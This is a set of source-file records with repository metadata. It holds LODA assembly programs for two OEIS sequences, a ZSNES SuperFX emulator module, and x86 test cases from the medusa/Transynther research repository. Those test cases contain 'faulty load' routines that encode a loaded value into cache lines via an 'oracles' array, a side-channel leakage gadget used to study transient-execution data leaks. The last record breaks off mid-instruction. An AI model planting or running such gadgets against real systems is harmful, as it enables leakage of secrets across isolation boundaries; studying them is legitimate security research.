[ "Apache-2.0" ]
null
null
null
; A105638: Maximum number of intersections in self-intersecting n-gon. ; 0,1,5,7,14,17,27,31,44,49,65,71,90,97,119,127,152,161,189,199,230,241,275,287,324,337,377,391,434,449,495,511,560,577,629,647,702,721,779,799,860,881,945,967,1034,1057,1127,1151,1224,1249,1325,1351,1430,1457,1539,1567,1652,1681,1769,1799,1890,1921,2015,2047,2144,2177,2277,2311,2414,2449,2555,2591,2700,2737,2849,2887,3002,3041,3159,3199,3320,3361,3485,3527,3654,3697,3827,3871,4004,4049,4185,4231,4370,4417,4559,4607,4752,4801,4949,4999,5150,5201,5355,5407,5564,5617,5777,5831,5994,6049,6215,6271,6440,6497,6669,6727,6902,6961,7139,7199,7380,7441,7625,7687,7874,7937,8127,8191,8384,8449,8645,8711,8910,8977,9179,9247,9452,9521,9729,9799,10010,10081,10295,10367,10584,10657,10877,10951,11174,11249,11475,11551,11780,11857,12089,12167,12402,12481,12719,12799,13040,13121,13365,13447,13694,13777,14027,14111,14364,14449,14705,14791,15050,15137,15399,15487,15752,15841,16109,16199,16470,16561,16835,16927,17204,17297,17577,17671,17954,18049,18335,18431,18720,18817,19109,19207,19502,19601,19899,19999,20300,20401,20705,20807,21114,21217,21527,21631,21944,22049,22365,22471,22790,22897,23219,23327,23652,23761,24089,24199,24530,24641,24975,25087,25424,25537,25877,25991,26334,26449,26795,26911,27260,27377,27729,27847,28202,28321,28679,28799,29160,29281,29645,29767,30134,30257,30627,30751,31124,31249 mov $1,$0 add $0,2 div $0,2 add $1,1 mul $1,$0 sub $1,1
142.8
1,299
0.794818
aadda4e5b79c04a6cab0c898755a303f5acafec3
4,333
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_567.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_567.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_567.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x9df6, %r8 nop nop nop nop and $22592, %r10 movb $0x61, (%r8) nop nop nop cmp $58739, %rbp lea addresses_A_ht+0x10ec2, %rsi lea addresses_UC_ht+0x3c42, %rdi dec %r8 mov $124, %rcx rep movsw nop sub $26421, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %rcx push %rdx push %rsi // Faulty Load lea addresses_A+0xf442, %r15 nop nop nop nop sub $15596, %rdx mov (%r15), %r10 lea oracles, %rsi and $0xff, %r10 shlq $12, %r10 mov (%rsi,%r10,1), %r10 pop %rsi pop %rdx pop %rcx pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
55.551282
2,999
0.662359
089bf5dcdf13db1f2591f1d59b9949a8fa52b7ef
678
asm
Assembly
oeis/110/A110284.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/110/A110284.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/110/A110284.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A110284: Squares of the form 4p - 3, where p is a prime. ; Submitted by Christian Krause ; 9,25,49,121,169,289,625,841,961,1225,1681,1849,2401,3025,4489,5929,6889,10201,11881,13225,14161,15625,17689,19321,20449,22801,24025,24649,25921,32041,32761,39601,41209,44521,48841,49729,55225,57121,69169,76729,80089,82369,87025,90601,94249,96721,104329,105625,108241,112225,113569,120409,124609,142129,143641,148225,151321,165649,170569,175561,185761,190969,214369,223729,241081,243049,284089,297025,310249,312481,330625,332929,337561,344569,383161,395641,434281,442225,452929,469225,474721,485809 seq $0,88503 ; Numbers n such that (n^2 + 3)/4 is prime. mov $2,$0 pow $2,2 mov $0,$2
75.333333
499
0.786136
af1660eb333f4ead2f68bc7db5bd5c3358027672
796
asm
Assembly
oeis/349/A349355.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/349/A349355.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/349/A349355.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A349355: Dirichlet convolution of A003958 with A063441 (Dirichlet inverse of A003959), where A003958 and A003959 are fully multiplicative with a(p) = p-1 and p+1 respectively. ; Submitted by Christian Krause ; 1,-2,-2,-2,-2,4,-2,-2,-4,4,-2,4,-2,4,4,-2,-2,8,-2,4,4,4,-2,4,-8,4,-8,4,-2,-8,-2,-2,4,4,4,8,-2,4,4,4,-2,-8,-2,4,8,4,-2,4,-12,16,4,4,-2,16,4,4,4,4,-2,-8,-2,4,8,-2,4,-8,-2,4,4,-8,-2,8,-2,4,16,4,4,-8,-2,4,-16,4,-2,-8,4,4,4,4,-2,-16,4,4,4,4,4,4,-2,24,8,16 add $0,1 mov $1,1 mov $2,1 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe mov $3,$2 sub $3,1 mov $5,2 lpb $0 dif $0,$2 mul $5,$3 lpe div $4,2 sub $4,1 dif $5,$3 div $5,$4 mul $1,$5 lpe mov $0,$1
22.742857
252
0.522613
419db960c36debeff6700f45fe6648f02e79392f
14,301
asm
Assembly
SNesoid/sneslib_comp/i386/fxemu2b.asm
Pretz/SNesoid
a9381085e07c5aabbe8e371854d579fede0893ae
[ "Xnet", "X11" ]
17
2015-01-19T05:33:25.000Z
2021-10-05T23:24:33.000Z
snes9x/src/main/cpp/sneslib/i386/fxemu2b.asm
CharlesNascimento/K-SNES
10f97fdf28e647b484a68aecd1387ec549290c62
[ "MIT" ]
5
2015-01-19T09:24:55.000Z
2019-08-09T18:55:58.000Z
SNesoid/sneslib_comp/i386/fxemu2b.asm
Pretz/SNesoid
a9381085e07c5aabbe8e371854d579fede0893ae
[ "Xnet", "X11" ]
22
2015-01-17T00:24:52.000Z
2021-08-13T02:51:30.000Z
;Copyright (C) 1997-2001 ZSNES Team ( zsknight@zsnes.com / _demo_@zsnes.com ) ; ;This program is free software; you can redistribute it and/or ;modify it under the terms of the GNU General Public License ;as published by the Free Software Foundation; either ;version 2 of the License, or (at your option) any later ;version. ; ;This program is distributed in the hope that it will be useful, ;but WITHOUT ANY WARRANTY; without even the implied warranty of ;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ;GNU General Public License for more details. ; ;You should have received a copy of the GNU General Public License ;along with this program; if not, write to the Free Software ;Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. %include "i386/macros.mac" EXTSYM FxTable,FxTableb,FxTablec,SfxB,SfxCPB,SfxCROM,SfxCarry,SfxOverflow EXTSYM SfxR0,SfxR14,SfxR15,SfxRomBuffer,SfxSignZero,withr15sk NEWSYM FxEmu2BAsmStart %include "i386/fxemu2.mac" %include "i386/fxemu2b.mac" NEWSYM FxOpb05 ; BRA branch always ; Verified. movsx eax,byte[ebp] mov cl,[ebp+1] inc ebp add ebp,eax call [FxTableb+ecx*4] ret NEWSYM FxOpb06 ; BGE branch on greater or equals ; Verified. movsx eax,byte[ebp] mov ebx,[SfxSignZero] shr ebx,15 inc ebp xor bl,[SfxOverflow] mov cl,[ebp] test bl,01h jnz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb07 ; BLT branch on lesss than ; Verified. movsx eax,byte[ebp] mov ebx,[SfxSignZero] shr ebx,15 inc ebp xor bl,[SfxOverflow] mov cl,[ebp] test bl,01h jz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb08 ; BNE branch on not equal ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],0FFFFh mov cl,[ebp] jz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb09 ; BEQ branch on equal (z=1) ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],0FFFFh mov cl,[ebp] jnz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb0A ; BPL branch on plus ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],088000h mov cl,[ebp] jnz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb0B ; BMI branch on minus ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],088000h mov cl,[ebp] jz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb0C ; BCC branch on carry clear ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxCarry],01h mov cl,[ebp] jnz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb0D ; BCS branch on carry set ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxCarry],01h mov cl,[ebp] jz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb0E ; BVC branch on overflow clear ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxOverflow],01h mov cl,[ebp] jnz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb0F ; BVS branch on overflow set ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxOverflow],01h mov cl,[ebp] jz .nojump add ebp,eax call [FxTableb+ecx*4] ret .nojump inc ebp call [FxTableb+ecx*4] ret NEWSYM FxOpb10 ; TO RN set register n as destination register TORNb 0 NEWSYM FxOpb11 ; TO RN set register n as destination register TORNb 1 NEWSYM FxOpb12 ; TO RN set register n as destination register TORNb 2 NEWSYM FxOpb13 ; TO RN set register n as destination register TORNb 3 NEWSYM FxOpb14 ; TO RN set register n as destination register TORNb 4 NEWSYM FxOpb15 ; TO RN set register n as destination register TORNb 5 NEWSYM FxOpb16 ; TO RN set register n as destination register TORNb 6 NEWSYM FxOpb17 ; TO RN set register n as destination register TORNb 7 NEWSYM FxOpb18 ; TO RN set register n as destination register TORNb 8 NEWSYM FxOpb19 ; TO RN set register n as destination register TORNb 9 NEWSYM FxOpb1A ; TO RN set register n as destination register TORNb 10 NEWSYM FxOpb1B ; TO RN set register n as destination register TORNb 11 NEWSYM FxOpb1C ; TO RN set register n as destination register TORNb 12 NEWSYM FxOpb1D ; TO RN set register n as destination register TORNb 13 NEWSYM FxOpb1E ; TO RN set register n as destination register FETCHPIPE test dword [SfxB],1 jnz .VersionB mov edi,SfxR0+14*4 inc ebp mov eax,ebp sub eax,[SfxCPB] mov dword[withr15sk],1 mov [SfxR15],eax call [FxTableb+ecx*4] mov edi,SfxR0 UpdateR14 ret .VersionB mov eax,[esi] ; Read Source mov dword[withr15sk],1 mov [SfxR0+14*4],eax ; Write CLRFLAGS UpdateR14 inc ebp ; Increase program counter ret NEWSYM FxOpb1F ; TO RN set register n as destination register FETCHPIPE test dword [SfxB],1 jnz .VersionB mov edi,SfxR0+15*4 inc ebp mov eax,ebp sub eax,[SfxCPB] mov [SfxR15],eax call [FxTableb+ecx*4] mov ebp,[SfxCPB] mov dword[withr15sk],1 add ebp,[SfxR15] mov edi,SfxR0 ret .VersionB mov eax,[esi] ; Read Source mov ebp,[SfxCPB] mov dword[withr15sk],1 add ebp,eax CLRFLAGS ret NEWSYM FxOpb3D ; ALT1 set alt1 mode ; Verified. FETCHPIPE mov dword [SfxB],0 or ch,01h inc ebp mov eax,ebp sub eax,[SfxCPB] mov [SfxR15],eax call [FxTableb+ecx*4] xor ch,ch ret NEWSYM FxOpb3E ; ALT2 set alt1 mode ; Verified. FETCHPIPE mov dword [SfxB],0 or ch,02h inc ebp mov eax,ebp sub eax,[SfxCPB] mov [SfxR15],eax call [FxTable+ecx*4] xor ch,ch ret NEWSYM FxOpb3F ; ALT3 set alt3 mode ; Verified. FETCHPIPE mov dword [SfxB],0 or ch,03h inc ebp mov eax,ebp sub eax,[SfxCPB] mov [SfxR15],eax call [FxTable+ecx*4] xor ch,ch ret NEWSYM FxOpbB0 ; FROM rn set source register FROMRNb 0 NEWSYM FxOpbB1 ; FROM rn set source register FROMRNb 1 NEWSYM FxOpbB2 ; FROM rn set source register FROMRNb 2 NEWSYM FxOpbB3 ; FROM rn set source register FROMRNb 3 NEWSYM FxOpbB4 ; FROM rn set source register FROMRNb 4 NEWSYM FxOpbB5 ; FROM rn set source register FROMRNb 5 NEWSYM FxOpbB6 ; FROM rn set source register FROMRNb 6 NEWSYM FxOpbB7 ; FROM rn set source register FROMRNb 7 NEWSYM FxOpbB8 ; FROM rn set source register FROMRNb 8 NEWSYM FxOpbB9 ; FROM rn set source register FROMRNb 9 NEWSYM FxOpbBA ; FROM rn set source register FROMRNb 10 NEWSYM FxOpbBB ; FROM rn set source register FROMRNb 11 NEWSYM FxOpbBC ; FROM rn set source register FROMRNb 12 NEWSYM FxOpbBD ; FROM rn set source register FROMRNb 13 NEWSYM FxOpbBE ; FROM rn set source register FROMRNb 14 NEWSYM FxOpbBF ; FROM rn set source register test dword [SfxB],1 jnz .VersionB mov esi,SfxR0+15*4 inc ebp ; Increase program counter mov eax,ebp sub eax,[SfxCPB] mov [SfxR15],eax call [FxTableb+ecx*4] mov esi,SfxR0 ret .VersionB FETCHPIPE mov eax,ebp sub eax,[SfxCPB] inc ebp mov [edi],eax ; Write Destination mov [SfxSignZero],eax shr al,7 mov byte[SfxOverflow],al CLRFLAGS ret NEWSYM FxOpc05 ; BRA branch always ; Verified. movsx eax,byte[ebp] mov cl,[ebp+1] inc ebp add ebp,eax call [FxTablec+ecx*4] ret NEWSYM FxOpc06 ; BGE branch on greater or equals ; Verified. movsx eax,byte[ebp] mov ebx,[SfxSignZero] shr ebx,15 inc ebp xor bl,[SfxOverflow] mov cl,[ebp] test bl,01h jnz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc07 ; BLT branch on lesss than ; Verified. movsx eax,byte[ebp] mov ebx,[SfxSignZero] shr ebx,15 inc ebp xor bl,[SfxOverflow] mov cl,[ebp] test bl,01h jz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc08 ; BNE branch on not equal ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],0FFFFh mov cl,[ebp] jz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc09 ; BEQ branch on equal (z=1) ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],0FFFFh mov cl,[ebp] jnz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc0A ; BPL branch on plus ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],088000h mov cl,[ebp] jnz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc0B ; BMI branch on minus ; Verified. movsx eax,byte[ebp] inc ebp test dword[SfxSignZero],088000h mov cl,[ebp] jz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc0C ; BCC branch on carry clear ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxCarry],01h mov cl,[ebp] jnz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc0D ; BCS branch on carry set ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxCarry],01h mov cl,[ebp] jz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc0E ; BVC branch on overflow clear ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxOverflow],01h mov cl,[ebp] jnz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc0F ; BVS branch on overflow set ; Verified. movsx eax,byte[ebp] inc ebp test byte[SfxOverflow],01h mov cl,[ebp] jz .nojump add ebp,eax call [FxTablec+ecx*4] ret .nojump inc ebp call [FxTablec+ecx*4] ret NEWSYM FxOpc10 ; TO RN set register n as destination register TORNc 0 NEWSYM FxOpc11 ; TO RN set register n as destination register TORNc 1 NEWSYM FxOpc12 ; TO RN set register n as destination register TORNc 2 NEWSYM FxOpc13 ; TO RN set register n as destination register TORNc 3 NEWSYM FxOpc14 ; TO RN set register n as destination register TORNc 4 NEWSYM FxOpc15 ; TO RN set register n as destination register TORNc 5 NEWSYM FxOpc16 ; TO RN set register n as destination register TORNc 6 NEWSYM FxOpc17 ; TO RN set register n as destination register TORNc 7 NEWSYM FxOpc18 ; TO RN set register n as destination register TORNc 8 NEWSYM FxOpc19 ; TO RN set register n as destination register TORNc 9 NEWSYM FxOpc1A ; TO RN set register n as destination register TORNc 10 NEWSYM FxOpc1B ; TO RN set register n as destination register TORNc 11 NEWSYM FxOpc1C ; TO RN set register n as destination register TORNc 12 NEWSYM FxOpc1D ; TO RN set register n as destination register TORNc 13 NEWSYM FxOpc1E ; TO RN set register n as destination register FETCHPIPE mov eax,[esi] ; Read Source mov [SfxR0+14*4],eax ; Write CLRFLAGS UpdateR14 inc ebp ; Increase program counter ret NEWSYM FxOpc1F ; TO RN set register n as destination register FETCHPIPE mov eax,[esi] ; Read Source mov ebp,[SfxCPB] mov [SfxR15],eax add ebp,eax CLRFLAGS ret NEWSYM FxOpc3D ; ALT1 set alt1 mode ; Verified. FETCHPIPE mov dword [SfxB],0 or ch,01h inc ebp call [FxTablec+ecx*4] xor ch,ch ret NEWSYM FxOpc3E ; ALT2 set alt1 mode ; Verified. FETCHPIPE mov dword [SfxB],0 or ch,02h inc ebp call [FxTablec+ecx*4] xor ch,ch ret NEWSYM FxOpc3F ; ALT3 set alt3 mode ; Verified. FETCHPIPE mov dword [SfxB],0 or ch,03h inc ebp call [FxTablec+ecx*4] xor ch,ch ret NEWSYM FxOpcB0 ; FROM rn set source register FROMRNc 0 NEWSYM FxOpcB1 ; FROM rn set source register FROMRNc 1 NEWSYM FxOpcB2 ; FROM rn set source register FROMRNc 2 NEWSYM FxOpcB3 ; FROM rn set source register FROMRNc 3 NEWSYM FxOpcB4 ; FROM rn set source register FROMRNc 4 NEWSYM FxOpcB5 ; FROM rn set source register FROMRNc 5 NEWSYM FxOpcB6 ; FROM rn set source register FROMRNc 6 NEWSYM FxOpcB7 ; FROM rn set source register FROMRNc 7 NEWSYM FxOpcB8 ; FROM rn set source register FROMRNc 8 NEWSYM FxOpcB9 ; FROM rn set source register FROMRNc 9 NEWSYM FxOpcBA ; FROM rn set source register FROMRNc 10 NEWSYM FxOpcBB ; FROM rn set source register FROMRNc 11 NEWSYM FxOpcBC ; FROM rn set source register FROMRNc 12 NEWSYM FxOpcBD ; FROM rn set source register FROMRNc 13 NEWSYM FxOpcBE ; FROM rn set source register FROMRNc 14 NEWSYM FxOpcBF ; FROM rn set source register FETCHPIPE mov eax,ebp sub eax,[SfxCPB] inc ebp mov [edi],eax ; Write Destination mov [SfxSignZero],eax shr al,7 mov byte[SfxOverflow],al CLRFLAGS ret NEWSYM FxEmu2BAsmEnd
23.140777
77
0.643452
b5dfec399407f410289713e2e8075090b41d4402
467
asm
Assembly
programs/oeis/081/A081668.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/081/A081668.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/081/A081668.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A081668: Expansion of 2sinh(x) + BesselI_0(2x). ; 1,2,2,2,6,2,20,2,70,2,252,2,924,2,3432,2,12870,2,48620,2,184756,2,705432,2,2704156,2,10400600,2,40116600,2,155117520,2,601080390,2,2333606220,2,9075135300,2,35345263800,2,137846528820,2,538257874440,2,2104098963720,2,8233430727600,2,32247603683100,2,126410606437752,2,495918532948104,2,1946939425648112,2,7648690600760440,2 mov $2,$0 mul $0,2 mod $0,4 mov $1,$2 div $2,2 bin $1,$2 lpb $0 sub $0,1 mov $1,2 lpe
33.357143
325
0.745182
5a483600a2013861422fda9593ebc43cbdebfc51
6,812
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_1681.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_1681.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_1681.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r8 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0xae20, %r8 nop xor $19861, %rax movups (%r8), %xmm2 vpextrq $1, %xmm2, %r11 nop nop nop nop sub %rdi, %rdi lea addresses_UC_ht+0x1a730, %rbp nop dec %r11 mov (%rbp), %r8w cmp %rdi, %rdi lea addresses_WC_ht+0x11560, %r10 nop nop nop nop cmp %rbp, %rbp mov (%r10), %di nop nop nop sub $4294, %r8 lea addresses_D_ht+0xb0, %r10 nop nop nop inc %r12 mov (%r10), %rdi nop nop nop nop xor %r12, %r12 lea addresses_WT_ht+0xfbb0, %r11 clflush (%r11) nop nop nop sub $10566, %r12 movb (%r11), %al nop cmp %r12, %r12 lea addresses_D_ht+0x8af0, %rbp nop nop nop nop add %rdi, %rdi movb (%rbp), %r10b nop nop nop nop xor $60815, %r12 lea addresses_UC_ht+0x6970, %r8 nop nop nop nop xor $2236, %rdi mov (%r8), %r10w nop and %rdi, %rdi lea addresses_UC_ht+0x184a8, %rsi lea addresses_UC_ht+0x1ecc0, %rdi nop nop nop nop nop cmp $13646, %r8 mov $47, %rcx rep movsb nop nop nop nop and $14579, %rcx lea addresses_WC_ht+0x16e74, %r10 nop nop nop cmp $60756, %r11 mov (%r10), %rcx nop nop inc %rax lea addresses_A_ht+0x1c070, %rdi xor %r10, %r10 movb $0x61, (%rdi) add %r11, %r11 lea addresses_normal_ht+0x43c, %rsi lea addresses_D_ht+0x53f0, %rdi clflush (%rsi) nop nop and %rax, %rax mov $79, %rcx rep movsw nop nop and %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %rax push %rbx push %rdx // Store lea addresses_RW+0x6040, %r10 nop nop xor $15735, %rbx movb $0x51, (%r10) nop nop nop nop nop cmp $31574, %rax // Faulty Load mov $0x2a95ec00000000b0, %rdx nop add %r10, %r10 vmovntdqa (%rdx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %rax lea oracles, %r10 and $0xff, %rax shlq $12, %rax mov 